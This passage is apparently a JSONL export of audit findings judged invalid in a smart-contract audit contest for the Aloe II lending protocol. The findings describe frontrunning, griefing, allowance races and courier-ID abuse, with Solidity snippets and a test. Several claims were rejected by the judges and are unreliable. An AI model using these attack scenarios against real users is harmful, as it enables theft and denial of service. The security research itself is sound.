level.","dataSource":{"name":"sherlock-audit/2023-10-aloe-judging","repo":"https://github.com/sherlock-audit/2023-10-aloe-judging","url":"https://github.com/sherlock-audit/2023-10-aloe-judging/blob/main//invalid/059.md"}} +{"title":"Did not Approve to Zero First","severity":"info","body":"Calm Violet Sardine\n\nmedium\n\n# Did not Approve to Zero First\n## Summary\n\nAllowance was not set to zero first before changing the allowance.\n\n## Vulnerability Detail\n\nSome tokens (e.g. `USDT`, `KNC`) do not allow approving an amount M > 0 when an existing amount N > 0 is already approved. This is to protect from an ERC20 attack vector described [here](https://docs.google.com/document/d/1YLPtQxZu1UAvO9cZ1O2RPXBbT0mooh4DYKjA_jp-RLM/edit#heading=h.b32yfk54vyg9).\n\nThe following attempts change the allowance without setting the allowance to zero first:\n\n```solidity\nfunction redeem(uint256 shares, address recipient, address owner) public returns (uint256 amount) {\n if (shares == type(uint256).max) shares = maxRedeem(owner);\n\n if (msg.sender != owner) {\n uint256 allowed = allowance[owner][msg.sender];\n@> if (allowed != type(uint256).max) allowance[owner][msg.sender] = allowed - shares;\n }\n```\n\n[Lender.sol - Line 182](https://github.com/sherlock-audit/2023-10-aloe/blob/main/aloe-ii/core/src/Lender.sol#L182)\n\n```solidity\nfunction approve(address spender, uint256 shares) external returns (bool) {\n@> allowance[msg.sender][spender] = shares;\n```\n\n[Lender.sol - Line 322](https://github.com/sherlock-audit/2023-10-aloe/blob/main/aloe-ii/core/src/Lender.sol#L322)\n\n```solidity\nfunction transferFrom(address from, address to, uint256 shares) external returns (bool) {\n uint256 allowed = allowance[from][msg.sender];\n@> if (allowed != type(uint256).max) allowance[from][msg.sender] = allowed - shares;\n```\n\n[Lender.sol - Line 337](https://github.com/sherlock-audit/2023-10-aloe/blob/main/aloe-ii/core/src/Lender.sol#L337)\n\n```solidity\n@> allowance[recoveredAddress][spender] = value;\n```\n\n[Lender.sol - Line 388](https://github.com/sherlock-audit/2023-10-aloe/blob/main/aloe-ii/core/src/Lender.sol#L388)\n\n## Impact\n\nHowever, if the token involved is an ERC20 token that does not work when changing the allowance from an existing non-zero allowance value, it will break all of these key functions or features of the protocol.\n\n## Code Snippet\n\nProvided Above\n\n## Tool used\n\nManual Review\n\n## Recommendation\n\nIt is recommended to set the allowance to zero before increasing the allowance or use safeApprove/safeIncreaseAllowance.","dataSource":{"name":"sherlock-audit/2023-10-aloe-judging","repo":"https://github.com/sherlock-audit/2023-10-aloe-judging","url":"https://github.com/sherlock-audit/2023-10-aloe-judging/blob/main//invalid/058.md"}} +{"title":"Race condition in the ERC20 `approve` function may lead to token theft","severity":"info","body":"Calm Violet Sardine\n\nmedium\n\n# Race condition in the ERC20 `approve` function may lead to token theft\n## Summary\n\nThe `approve` function permits other users to spend tokens on behalf of the token owner. However, it has been demonstrated to be vulnerable to frontrunning attacks. In this scenario, when the owner updates (decreases) the allowance granted to other users, these users can frontrun the owner's transaction, allowing them to transfer the previous amount of tokens allowed and then get additional tokens once the owner's transaction is completed.\n\n## Vulnerability Detail\n\nA [known race condition](https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729) in the ERC20 standard, on the approve function, could lead to the theft of tokens.\n\nThe ERC20 standard describes how to create generic token contracts. Among others, an ERC20 contract defines these two functions:\n\n- transferFrom(from, to, value)\n- approve(spender, value)\n\nThese functions give permission to a third party to spend tokens. Once the function `approve(spender, value)` has been called by a user, spender can spend up to value of the user’s tokens by calling `transferFrom(user, to, value)`.\n\nThis schema is vulnerable to a race condition when the user calls approve a `second time` on a spender that has already been allowed. If the spender sees the transaction containing the call before it has been mined, then the spender can call transferFrom to transfer the previous value and still receive the authorization to transfer the new value.\n\n**Exploit Scenario**\n\n1. Alice calls approve(Bob, 1000). This allows Bob to spend 1000 tokens.\n2. Alice changes her mind and calls approve(Bob, 500). Once mined, this will\n decrease to 500 the number of tokens that Bob can spend.\n3. Bob sees Alice’s second transaction and calls transferFrom(Alice, X, 1000)\n before approve(Bob, 500) has been mined.\n4. If Bob’s transaction is mined before Alice’s, 1000 tokens will be transferred by Bob.\n Once Alice’s transaction is mined, Bob can call transferFrom(Alice, X, 500). Bob\n has transferred 1500 tokens, contrary to Alice’s intention.\n\n## Impact\n\nUsers will lose more tokens than they want to approve to other users.\n\n## Code Snippet\n\n```solidity\nfunction approve(address spender, uint256 shares) external returns (bool) {\n allowance[msg.sender][spender] = shares;\n\n emit Approval(msg.sender, spender, shares);\n\n return true;\n}\n```\n\n[Lender.sol - Lines 321 - 327](https://github.com/sherlock-audit/2023-10-aloe/blob/main/aloe-ii/core/src/Lender.sol#L321-L327)\n\n## Tool used\n\nManual Review, IERC20.sol documentation\n\n## Recommendation\n\nWhile this issue is known and can have a severe impact, there is no straightforward solution.\n\nOne workaround is to use two non-ERC20 functions allowing a user to increase and decrease the approve (see increaseApproval and decreaseApproval of [StandardToken.sol#L63-L98](https://github.com/OpenZeppelin/openzeppelin-contracts/blob/39370ff69037ae19dba8b746c04ceaf049f563a3/contracts/token/ERC20/StandardToken.sol#L63-L98)).","dataSource":{"name":"sherlock-audit/2023-10-aloe-judging","repo":"https://github.com/sherlock-audit/2023-10-aloe-judging","url":"https://github.com/sherlock-audit/2023-10-aloe-judging/blob/main//invalid/057.md"}} +{"title":"One Wallet Can Control All Courier Ids","severity":"info","body":"Broad Cerulean Porcupine\n\nmedium\n\n# One Wallet Can Control All Courier Ids\n## Summary\nThe function enrollCourier allows anyone to enroll themselves in the referral program Aloe provides. This function fails to check if the msg.sender already has a Courier Id so it is possible for one wallet to enroll itself at every Courier Id, except 0. This essentially bricks the referral program and to unknowing uses may even lead to a loss of reward interest.\n\n## Vulnerability Detail\nThere is nothing in the enrollCourier function that disallows one wallet registering as a courier at different or all ids.\n\n## Impact\nThis renders the referral program useless and to users unaware of the situation could lead to them differing all their accrued interest to the malicious Courier if they set the cut to 10_000 on each id\n\n## Code Snippet\nhttps://github.com/sherlock-audit/2023-10-aloe/blob/main/aloe-ii/core/src/Factory.sol#L254-#L266\n```solidity\nfunction test_canEnrollSameAddressAtDiffIds() external {\n vm.startPrank(address(12345));\n factory.enrollCourier(1, 5000);\n\n factory.enrollCourier(2, 5000);\n\n factory.enrollCourier(3, 5000);\n\n factory.enrollCourier(4, 5000);\n\n factory.enrollCourier(5, 5000);\n\n factory.enrollCourier(6, 5000);\n\n factory.enrollCourier(7, 5000);\n\n factory.enrollCourier(8, 5000);\n \n vm.stopPrank();\n \n (address courier, uint16 cut) = factory.couriers(1);\n assertEq(courier, address(12345));\n\n (courier, cut) = factory.couriers(2);\n assertEq(courier, address(12345));\n\n (courier, cut) = factory.couriers(3);\n assertEq(courier, address(12345));\n\n (courier, cut) = factory.couriers(4);\n assertEq(courier, address(12345));\n\n (courier, cut) = factory.couriers(5);\n assertEq(courier, address(12345));\n\n (courier, cut) = factory.couriers(6);\n assertEq(courier, address(12345));\n\n (courier, cut) = factory.couriers(7);\n assertEq(courier, address(12345));\n\n (courier, cut) = factory.couriers(8);\n assertEq(courier, address(12345));\n\n (courier, cut) = factory.couriers(9);\n assertEq(courier, address(0));\n }\n```\n\n## Tool used\n\nManual Review\n\n## Recommendation\n1. Only allow an address to enroll as a Courier once.\n2. Implement a limit on the number of Courier IDs that can be registered by a single address to prevent monopolization of the referral program.\n3. Create an administrative function to revoke or reassign Courier IDs in case of malicious activity, which would add a layer of control to manage the referral program effectively.","dataSource":{"name":"sherlock-audit/2023-10-aloe-judging","repo":"https://github.com/sherlock-audit/2023-10-aloe-judging","url":"https://github.com/sherlock-audit/2023-10-aloe-judging/blob/main//invalid/056.md"}} +{"title":"Zero transaction Status Verification After Fund Transfer","severity":"info","body":"High Tartan Scorpion\n\nmedium\n\n# Zero transaction Status Verification After Fund Transfer\n## Summary\nThe contract contains a vulnerability related to the absence of verification for the success or failure of a fund transfer operation. This vulnerability can lead to potential issues when transferring funds, such as not handling failed transfers correctly.\n## Vulnerability Detail\nIn the contract's `liquidate` function, the code contains a transfer of funds to the callee address, but it lacks proper verification of the transaction status:\n```solidity\npayable(callee).transfer(address(this).balance / strain);\n```\nThe `transfer` function sends Ether from the contract's balance to the `callee` address. However, it does not check whether the transfer was successful or if there was an exception (e.g., due to an out-of-gas error). Without this verification, there is no assurance that the funds were received by `callee`.\n## Impact\n If the transfer fails due to unforeseen circumstances, such as running out of gas, the contract will not be aware of this failure. As a result, funds could be lost, and the contract's state may become inconsistent.\n## Code Snippet\n(https://github.com/sherlock-audit/2023-10-aloe/blob/main/aloe-ii/core/src/Borrower.sol#L283)\n## Tool used\n\nManual Review\n\n## Recommendation\nIt's essential to check for the success or failure of the transfer. If the transfer fails, it can lead to a loss of funds or, in the case of liquidation, a lack of incentive for the liquidator. \n```solidity\n(bool success, ) = payable(callee).call{value: incentiveAmount}(\"\");\nrequire(success, \"Transfer failed\");\n```","dataSource":{"name":"sherlock-audit/2023-10-aloe-judging","repo":"https://github.com/sherlock-audit/2023-10-aloe-judging","url":"https://github.com/sherlock-audit/2023-10-aloe-judging/blob/main//invalid/054.md"}} +{"title":"Stale Price Risk in Oracle Data Retrieval","severity":"info","body":"High Tartan Scorpion\n\nmedium\n\n# Stale Price Risk in Oracle Data Retrieval\n## Summary\nThe contract may be exposed to the risk of stale price data when fetching prices from oracles due to the absence of mechanisms for handling real-time data and market fluctuations.\n## Vulnerability Detail\nThe vulnerable code snippet in the contract is the getPrices function. This function is responsible for fetching price data from external oracles and returning it to the contract. However, it lacks robust mechanisms to address the potential issues associated with real-time data retrieval. Below is the relevant code snippet:\n```solidity\nfunction getPrices() public view returns (uint256[] memory) {\n uint256[] memory prices = new uint256[](oracles.length);\n for (uint256 i = 0; i < oracles.length; i++) {\n // Fetch price from oracles\n prices[i] = oracles[i].getPrice();\n }\n return prices;\n}\n```\nThe `_getPrices` function fetches prices from multiple oracles and calculates a weighted average based on their responses. This approach has a few advantages:\n\n**Diversification** : By fetching data from multiple oracles, the contract reduces its reliance on a single source, which can help mitigate the impact of stale prices from a particular oracle. If one oracle provides stale data, it's less likely to significantly affect the overall calculation if other oracles are providing up-to-date data.\n\n**Weighted Averaging** : The function uses a weighted average, which can be beneficial in reducing the impact of outlier or stale prices. If one oracle provides data that is significantly different from others due to stale data or manipulation, the weighted average tends to give it less influence on the final result.\n\nWhile these mechanisms provide some level of risk mitigation, they don't entirely solve the problem of stale prices for the following reasons:\n1. **Data Lag** : The oracles may still have some latency in fetching data and transmitting it to the contract. During this time, prices can change, making the data partially stale, even if all oracles are working correctly.\n2. **Oracle Vulnerabilities** : If one of the oracle sources is compromised or manipulated, the weighted average can still be influenced, especially if that oracle has a high weight. The function doesn't inherently protect against malicious data manipulation.\n3. **Market Discrepancies** : If the oracles have different update intervals or use different market feeds, there can still be inconsistencies in the data they provide. While the weighted average reduces the impact of outliers, it doesn't entirely eliminate this issue.\n## Impact\nStale price data may lead to incorrect financial decisions within the contract, impacting users' investments. For instance, if the contract relies on these prices for executing trades, providing collateral, or making other financial decisions, using outdated data can result in financial losses or unintended behavior.\n## Code Snippet\n(https://github.com/sherlock-audit/2023-10-aloe/blob/main/aloe-ii/core/src/Borrower.sol#L466-L488)\n## Tool used\n\nManual Review\n\n## Recommendation\n- Ensure that the oracles update their data frequently. Set up a system that encourages oracles to provide real-time or near-real-time price data.\n- Implement a data aggregation and validation layer that screens and validates incoming data from oracles. Use outlier detection algorithms to identify and exclude potentially stale or manipulated data points.","dataSource":{"name":"sherlock-audit/2023-10-aloe-judging","repo":"https://github.com/sherlock-audit/2023-10-aloe-judging","url":"https://github.com/sherlock-audit/2023-10-aloe-judging/blob/main//invalid/052.md"}} +{"title":"Missing Account Health Verification During Liquidation","severity":"info","body":"High Tartan Scorpion\n\nhigh\n\n# Missing Account Health Verification During Liquidation\n## Summary\nThe contract does not include a check to ensure that the borrower's account remains unhealthy at the time of liquidation, which could potentially allow for unintended liquidations.\n## Vulnerability Detail\nThe contract's `Borrower` contract, specifically in the `liquidate` function, does not include the necessary check to confirm that the borrower's account is still in an unhealthy state at the time of liquidation. The `liquidate` function is responsible for liquidating a borrower's account. The absence of an account health verification step allows for the initiation of liquidation even if the account has already restored its health.\n```solidity\nuint256 slot0_ = slot0;\n// Essentially `slot0.state == State.Ready`\nrequire(slot0_ & SLOT0_MASK_STATE == 0);\nslot0 = slot0_ | (uint256(State.Locked) << 248);\n```\nWithout this account health verification step, there is a risk of unintended liquidations. For example, the borrower might receive a warning but subsequently take corrective actions to address their account's health. However, the liquidation process could still proceed due to the absence of the verification step, causing the borrower's assets to be liquidated when it is not necessary.\n## Impact\nUnintended liquidations, causing potential losses for both the borrower and the protocol.\n## Code Snippet\n(https://github.com/sherlock-audit/2023-10-aloe/blob/main/aloe-ii/core/src/Borrower.sol#L195-L198)\n## Tool used\n\nManual Review\n\n## Recommendation\nContract should be updated to include a verification step in the `liquidate` function. This verification step should confirm that the account is still in an unhealthy state at the time of liquidation","dataSource":{"name":"sherlock-audit/2023-10-aloe-judging","repo":"https://github.com/sherlock-audit/2023-10-aloe-judging","url":"https://github.com/sherlock-audit/2023-10-aloe-judging/blob/main//invalid/050.md"}} +{"title":"Lender.sol: Frontrunning can make repayments fail","severity":"info","body":"Slow Indigo Woodpecker\n\nmedium\n\n# Lender.sol: Frontrunning can make repayments fail\n## Summary\nThe [`Lender.repay`](https://github.com/aloelabs/aloe-ii/blob/c71e7b0cfdec830b1f054486dfe9d58ce407c7a4/core/src/Lender.sol#L257-L287) function is used by Borrowers to repay loans.\n\nIt is required that the `amount` parameter is not greater than `maxRepay` which is the amount needed to repay the whole debt.\n\nThe problem is that anyone can front-run this function, repaying a tiny amount on behalf of the victim such that the victim's transaction will fail.\n\nGiven that Borrowers are supposed to execute money market strategies as Uniswap LPs, timing is critical.\nAt all times should the Borrowers be able to repay their full debt without any delays or failed transactions as this can lead to a loss of funds for them.\n\n## Vulnerability Detail\nA griefer just needs to wait for a Borrower to try to repay his full loan and then repay an arbitrarily small amount via the `Lender.repay` function with the Borrower set as `beneficiary`.\n\nThe Borrower's transaction will then fail.\n\n## Impact\nAs described above, it is important for Borrowers to always be able to repay their full debt without any delays.\nThey should not become subject to such griefing attacks as speed is critical for them to execute profitable money market strategies with Uniswap V3.\n\n## Code Snippet\nhttps://github.com/aloelabs/aloe-ii/blob/c71e7b0cfdec830b1f054486dfe9d58ce407c7a4/core/src/Lender.sol#L257-L287\n\n## Tool used\nManual Review\n\n## Recommendation\nA possible fix is to send any excess `amount` back to `msg.sender`. \n\n```solidity\nuint256 amountToRefund = asset().balanceOf(address(this)) - cache.lastBalance;\n```","dataSource":{"name":"sherlock-audit/2023-10-aloe-judging","repo":"https://github.com/sherlock-audit/2023-10-aloe-judging","url":"https://github.com/sherlock-audit/2023-10-aloe-judging/blob/main//invalid/048.md"}} +{"title":"Lender.sol#DOMAIN_SEPARATOR - Risk of reuse of signatures across forks due to lack of chainID validation","severity":"info","body":"Savory Laurel Urchin\n\nhigh\n\n# Lender.sol#DOMAIN_SEPARATOR - Risk of reuse of signatures across forks due to lack of chainID validation\n## Summary\nMaking use of `block.chainid` in `DOMAIN_SEPARATOR()` can lead to replay attack in course of an hard fork on a chain\n## Vulnerability Detail\nCurrently, there is no specification for how chain ID is set for a particular network, relying on choices made manually by the client implementers and the chain community.\nIn the advent of an hard fork:\nThere are two potential resolutions in this scenario under the current process: \n1) one chain decides to modify their value of chain ID (while the other keeps it), or \n2) both chains decide to modify their value of chain ID.\n\nAnd this can lead to replay attack on both forks\n## Impact\nBob signs a permiter on the Ethereum mainnet. He signs the domain separator with a\nsignature to permit a permit someone to spend his shares. Later, Ethereum is hard-forked and retains the same chain ID. As a\nresult, there are two parallel chains with the same chain ID, and Eve can use Bob’s\nsignature to transfer the `shares` on the forked chain.\n## Code Snippet\nhttps://github.com/sherlock-audit/2023-10-aloe/blob/main/aloe-ii/core/src/Ledger.sol#L134\n## Tool used\n\nManual Review\nhttps://eips.ethereum.org/EIPS/eip-1344\n## Recommendation\nmake use `CHAINID` opcode","dataSource":{"name":"sherlock-audit/2023-10-aloe-judging","repo":"https://github.com/sherlock-audit/2023-10-aloe-judging","url":"https://github.com/sherlock-audit/2023-10-aloe-judging/blob/main//invalid/044.md"}} +{"title":"Lender.sol: Using non-zero ERC20 allowance to set the courier allows for privilege escalation","severity":"info","body":"Slow Indigo Woodpecker\n\nmedium\n\n# Lender.sol: Using non-zero ERC20 allowance to set the courier allows for privilege escalation\n## Summary\nThe `allowance` mapping in `Ledger.sol` is used to manage the ERC20 allowances for the ERC20 share tokens.\n\nHowever, `Lender.deposit` also uses the allowance check to allow someone to set a courier. This allows for a privilege escalation. \n\nWhen Alice gives Bob a non-zero allowance, she's granting him the privilege to set the courier for her address.\nAs a consequence Bob can prevent Alice from transferring her `Lender.sol` tokens (an address with a courier cannot transfer shares), and Bob can set himself as a courier for Alice with a very high courier cut, e.g. 99.99%.\n\nThereby the impact that Bob has on Alice's shares is not limited to whatever his allowance is. The interest that he can earn from being Alice's courier can far exceed the allowance.\n\n## Vulnerability Detail\nLet's imagine a scenario of Alice giving some allowance of `Lender.sol` to Bob through the `Lender.approve` function. \nHer intention is to allow Bob to use her tokens according to the allowance value she has given.\n\nShe is unaware that Bob can use this allowance to set himself as a courier for her, with a very high courier cut, e.g. 99.99%, eating a large portion of her earned interest. Also Bob, by setting himself as a courier for Alice, [blacklists Alice from transferring her `Lender.sol` tokens](https://github.com/aloelabs/aloe-ii/blob/c71e7b0cfdec830b1f054486dfe9d58ce407c7a4/core/src/Lender.sol#L412).\nThe precondition for this to occur is that Alice's balance of `Lender.sol` is zero. This can occur before Alice's first deposit or after she has redeemed all her funds and perhaps makes another deposit in the future. \n\nThe steps for Bob taking advantage of the given allowance are the following:\n\n1. Bob invokes `Factory.enrollCourier` and registers himself as a courier with a very high courier cut, e.g. 99.99%.\n2. Bob invokes `Lender.deposit` with Alice as beneficiary, his id as `courierId` and an arbitrary amount. \n3. Bob's `courierId` is [written to the balances mapping](https://github.com/aloelabs/aloe-ii/blob/c71e7b0cfdec830b1f054486dfe9d58ce407c7a4/core/src/Lender.sol#L454).\n4. Alice has to pay a high courier fee each time she's burning her `Lender.sol` tokens, since she's stuck with Bob as her courier.\n5. Also, Alice can no longer transfer her `Lender.sol` tokens since [transfers are disabled](https://github.com/aloelabs/aloe-ii/blob/c71e7b0cfdec830b1f054486dfe9d58ce407c7a4/core/src/Lender.sol#L412). \n\n## Impact\nAny address to whom a user has given any allowance of `Lender.sol` is granted the privilege to set the `courier` for the user and to thereby affect the user's balance by more than the given allowance. Also by setting a courier, the user can be blacklisted from transferring his `Lender.sol` share tokens in the future.\n\n## Code Snippet\n\nhttps://github.com/aloelabs/aloe-ii/blob/c71e7b0cfdec830b1f054486dfe9d58ce407c7a4/core/src/Lender.sol#L121\n\n## Tool used\n\nManual Review\n\n## Recommendation\n\nThe ability to set the courier should not be managed together with the ERC20 allowance. These are two different privileges that need to be kept separate.","dataSource":{"name":"sherlock-audit/2023-10-aloe-judging","repo":"https://github.com/sherlock-audit/2023-10-aloe-judging","url":"https://github.com/sherlock-audit/2023-10-aloe-judging/blob/main//invalid/039.md"}} +{"title":"Couriers can be cheated out of earning fees due to frontrunning","severity":"info","body":"Slow Indigo Woodpecker\n\nmedium\n\n# Couriers can be cheated out of earning fees due to frontrunning\n## Summary\nCouriers can become victim to griefing attacks by front-running a user's first deposit.\nThis leads to a loss of earnings for the couriers.\n\n## Vulnerability Detail\nI'll describe the scenario with \"Alice\" as user, \"griefing bot\" as attacker and \"Dapp\" as courier.\n\nDapp wants to earn a portion of Alice's interest and registers as a courier through the `Factory.enrollCourier` function.\n\nLet's imagine a scenario of Alice invoking her first `deposit` through the Dapp. The Dapp passes its `id` as a parameter to the `Lender.deposit` function in order to earn part of Alice's interest as a \"referral fee\".\n\nA bot which wants to execute a griefing attack front-runs Alice's transaction and deposits 1 wei with Alice as beneficiary.\n\nThe griefing transaction sets Alice's initial balance through the [Lender._mint](https://github.com/aloelabs/aloe-ii/blob/c71e7b0cfdec830b1f054486dfe9d58ce407c7a4/core/src/Lender.sol#L466) function.\nAfterward, Alice's transaction is being executed and since her balance is no longer zero, the [courier information is no longer updated](https://github.com/aloelabs/aloe-ii/blob/c71e7b0cfdec830b1f054486dfe9d58ce407c7a4/core/src/Lender.sol#L452-L456). This means the Dapp is not set as courier and won't earn any referral fee.\n\nAnother scenario is when Dapp has successfully set itself as a courier for Alice. However, at one point Alice redeems all her funds and sets her balance to zero.\n\nNow the griefer can again deposit 1 wei setting Alice as beneficiary and set her courier to 0, disabling Dapp as a courier for Alice when Alice uses the Dapp to make a deposit again.\n\n## Impact\n\nThe courier functionality is subject to manipulation by griefing attacks. This breaks the whole assumption that Dapps can earn a portion of user's interest.\nIn reality, it's straightforward to disable any courier and cheat them out of their earnings which is a loss for the couriers.\n\n## Code Snippet\n\nhttps://github.com/aloelabs/aloe-ii/blob/c71e7b0cfdec830b1f054486dfe9d58ce407c7a4/core/src/Lender.sol#L452-L456\n\n## Tool used\n\nManual Review\n\n## Recommendation\n\nNot everyone should be able to prevent setting the courier, i.e. there needs to be a way for Dapp to set the courier and not be vulnerable to front-running. \nHow exactly to fix this issue is also related to how the courier feature will be changed in response to other issues.","dataSource":{"name":"sherlock-audit/2023-10-aloe-judging","repo":"https://github.com/sherlock-audit/2023-10-aloe-judging","url":"https://github.com/sherlock-audit/2023-10-aloe-judging/blob/main//invalid/037.md"}} +{"title":"Lender.sol#deposit - User can mint shares without depositing the underlying asset","severity":"info","body":"Savory Laurel Urchin\n\nhigh\n\n# Lender.sol#deposit - User can mint shares without depositing the underlying asset\n## Summary\n\n## Vulnerability Detail\n`deposit()` requires the user to transfer an amount of the underlying asset to get shares but in the implementation, the `_mint()` comes before the transfer which can cause user/attacker to mint shares with zero assets in their wallet. which he can then call `redeem()` and claim some free assets for himself.\n## Impact\nAttacker can mint new shares for free thereby undermining the next set of depositors\n## Code Snippet\nhttps://github.com/sherlock-audit/2023-10-aloe/blob/main/aloe-ii/core/src/Lender.sol#L140\n\nhttps://github.com/sherlock-audit/2023-10-aloe/blob/main/aloe-ii/core/src/Lender.sol#L148-L152\n## Tool used\n\nManual Review\n\n## Recommendation\nrewrite the `deposit()` to first transfer the assets before calling `_mint` or use Solmate ERC4626 implementation contract","dataSource":{"name":"sherlock-audit/2023-10-aloe-judging","repo":"https://github.com/sherlock-audit/2023-10-aloe-judging","url":"https://github.com/sherlock-audit/2023-10-aloe-judging/blob/main//invalid/036.md"}} +{"title":"Borrowers can't close their position with exact amount of repayment due.","severity":"info","body":"Rare Violet Caribou\n\nmedium\n\n# Borrowers can't close their position with exact amount of repayment due.\n## Summary\nIn `Lender.sol` function `repay()` is used to repay the amount of borrowed debt and due to a condition check in the if block `if (!(units < b))` borrowers who want to repay full amount won't be able to repay full amount.\nhttps://github.com/sherlock-audit/2023-10-aloe/blob/main/aloe-ii/core/src/Lender.sol#L266C12-L271C14\n## Vulnerability Detail\nIn the repay() function b=1 signifies whitelisting as per the docs `the first unit is used for whitelisting; it's not real debt.` \nfurther the mapping `borrows[beneficiary]` tracks the borrows of the borrower and it is stored in `b` and later the amount is converted into units as per the formula in the code \n```solidity\nunits = (amount * BORROWS_SCALER) / cache.borrowIndex;\n```\nnow the problem is if the user tries to repay with the exact amount of debt which is when converted into units the `units will be equal to b` i.e. `units = b` and the if condition in the code doesn't account for the equality condition it only lets the user pay with the units that must be strictly less than b\n\n```solidity\n if (!(units < b))\n ```\n \n This condition won't let user repay their exact amount of borrowed debt.\n\n## Impact\nBorrowers can't literally close their position with complete amount of repayment due.\n## Code Snippet\n```solidity\nfunction repay(uint256 amount, address beneficiary) external returns (uint256 units) {\n uint256 b = borrows[beneficiary];\n\n // Accrue interest and update reserves\n (Cache memory cache, ) = _load();\n\n unchecked {\n // Convert `amount` to `units`\n units = (amount * BORROWS_SCALER) / cache.borrowIndex;\n if (!(units < b)) {\n units = b - 1;\n\n uint256 maxRepay = (units * cache.borrowIndex).unsafeDivUp(BORROWS_SCALER);\n require(b > 1 && amount <= maxRepay, \"Aloe: repay too much\");\n }\n\n // Track borrows\n borrows[beneficiary] = b - units;\n cache.borrowBase -= units;\n }\n // Assume tokens are transferred\n cache.lastBalance += amount;\n\n // Save state to storage (thus far, only mappings have been updated, so we must address everything else)\n _save(cache, /* didChangeBorrowBase: */ true);\n\n // Ensure tokens are transferred\n require(cache.lastBalance <= asset().balanceOf(address(this)), \"Aloe: insufficient pre-pay\");\n\n emit Repay(msg.sender, beneficiary, amount, units);\n }\n```\n\n```solidity\n if (!(units < b)) {\n units = b - 1;\n\n uint256 maxRepay = (units * cache.borrowIndex).unsafeDivUp(BORROWS_SCALER);\n require(b > 1 && amount <= maxRepay, \"Aloe: repay too much\");\n }\n```\n## Tool used\n\nManual Review\n\n## Recommendation\nChange the if condition from ` if (!(units < b))` to ` if (!(units <= b))","dataSource":{"name":"sherlock-audit/2023-10-aloe-judging","repo":"https://github.com/sherlock-audit/2023-10-aloe-judging","url":"https://github.com/sherlock-audit/2023-10-aloe-judging/blob/main//invalid/033.md"}} +{"title":"Front-Run Vulnerability Allows DoS For Courier Enrollment","severity":"info","body":"Flat Zinc Caribou\n\nmedium\n\n# Front-Run Vulnerability Allows DoS For Courier Enrollment\n## Summary\nA Denial of Service (DoS) attack can be executed against the `enrollCourier` function in `factory.sol` by malicious actors front-running legitimate enrollment requests, thereby preventing desired couriers from enrolling with their intended `id` and essentially nullifying the referral program.\n\n## Vulnerability Detail\nThe `enrollCourier` function in the factory contract allows couriers to enroll themselves by specifying a unique `id` and a `cut` percentage. However, this design allows malicious actors to front-run legitimate courier enrollments by preemptively enrolling with the same `id` and `cut` with their own address, effectively blocking the legitimate courier from enrolling with their desired parameters.\n\nThis DoS attack can be sustained for a long period of time since the number of `enrollCourier` transactions will naturally be low, and the cost of the attack is minimal (approximately 47000 gas or $1.60 USD).\n\n## Impact\nThe impact of this vulnerability is high. Frontends, wallets, and apps rely on the ability to become couriers and receive a cut for their referrals. If they are consistently blocked from enrolling due to malicious front-running, it's reasonable to conclude that fewer of them would integrate with or promote the platform. This would likely lead to reduced user onboarding and engagement, thereby harming the platform's adoption and growth.\n\n## Code Snippet\nhttps://github.com/sherlock-audit/2023-10-aloe/blob/main/aloe-ii/core/src/Factory.sol#L254-L266\n\n\n## Tool used\n\nManual Review\n\n## Recommendation\nTo mitigate this vulnerability, use a counter for the `id`. This removes the need for couriers to choose or calculate an ID, which makes the enrollment process simpler and removes the predictability factor, making it much harder to front-run.\nExample:\n```solidity\nuint32 public nextAvailableId = 1; \n\nfunction enrollCourier(uint16 cut) external {\n require(cut != 0 && cut < 10_000, \"Invalid cut\");\n\n uint32 currentId = nextAvailableId;\n couriers[currentId] = Courier(msg.sender, cut);\n isCourier[msg.sender] = true;\n\n nextAvailableId++; // Increment for next enrollment\n\n emit EnrollCourier(currentId, msg.sender, cut);\n}\n```","dataSource":{"name":"sherlock-audit/2023-10-aloe-judging","repo":"https://github.com/sherlock-audit/2023-10-aloe-judging","url":"https://github.com/sherlock-audit/2023-10-aloe-judging/blob/main//invalid/026.md"}} +{"title":"Lenders will receive less rewards if the rewardToken is fee on transfer token","severity":"info","body":"Rare Violet Caribou\n\nmedium\n\n# Lenders will receive less rewards if the rewardToken is fee on transfer token\n## Summary\nWhen a reward token is a fee on transfer (FoT) token, lenders may receive fewer rewards than expected when collecting rewards.\n## Vulnerability Detail\n```solidity\nfunction claimRewards(Lender[] calldata lenders, address beneficiary) external returns (uint256 earned) {\n // Couriers cannot claim rewards because the accounting isn't quite correct for them. Specifically, we\n // save gas by omitting a `Rewards.updateUserState` call for the courier in `Lender._burn`\n require(!isCourier[msg.sender]);\n\n unchecked {\n uint256 count = lenders.length;\n for (uint256 i = 0; i < count; i++) {\n // Make sure it is, in fact, a `Lender`\n require(peer[address(lenders[i])] != address(0));\n earned += lenders[i].claimRewards(msg.sender);\n }\n }\n\n rewardsToken.safeTransfer(beneficiary, earned);\n }\n```\n\nwhen lender will try to claim the rewards the rewards are transfered to the lender usnig \n```solidity\nrewardsToken.safeTransfer(beneficiary, earned);\n```\n\nwhere the tokens are transferred as rewardsToken, however it is not determined in the docs if the rewardsToken is a fee on transfer token or not.\n\nBut in case it is a fee on transfer token, the actual rewards received by the lender will be less since the claimable amount is `amount`. But this fails on transfer to account since contract has only `amount-fees`\n## Impact\n\n## Code Snippet\nhttps://github.com/sherlock-audit/2023-10-aloe/blob/main/aloe-ii/core/src/Factory.sol#L242\n## Tool used\n\nManual Review\n\n## Recommendation\nCompute the balance before and after transfer and subtract them to get the real amount.","dataSource":{"name":"sherlock-audit/2023-10-aloe-judging","repo":"https://github.com/sherlock-audit/2023-10-aloe-judging","url":"https://github.com/sherlock-audit/2023-10-aloe-judging/blob/main//invalid/024.md"}} +{"title":"Possible loss of funds due to access control","severity":"info","body":"Odd Aquamarine Sidewinder\n\nhigh\n\n# Possible loss of funds due to access control\n## Summary\n\nBy frontrunning the function claimRewards it is possible for the rewards to be stolen\n\n## Vulnerability Detail\n\nIn the smart contract Factory.sol there is a function called claimRewards .In that function the only 2 inputs are Lender[] calldata lenders and address beneficiery. A malicious user could front run this function and get the Lender[] calldata lenders and by inputing his address as a beneficiery it is possible to steal all the rewards from all the lenders.\n\n## Impact\n\nIf frontruning attack is succesfull all the rewards are stolen.\n\n## Code Snippet\n\nhttps://github.com/sherlock-audit/2023-10-aloe/blob/main/aloe-ii/core/src/Factory.sol#L228-L240\n\n## Tool used\n\nManual Review\n\n## Recommendation\n\nTo address this vulnerability and prevent unauthorized claims, you should implement access control checks and validation mechanisms within the claimRewards function to ensure that:\n\n1. The sender of the transaction (msg.sender) matches the legitimate beneficiary.\n2. Only 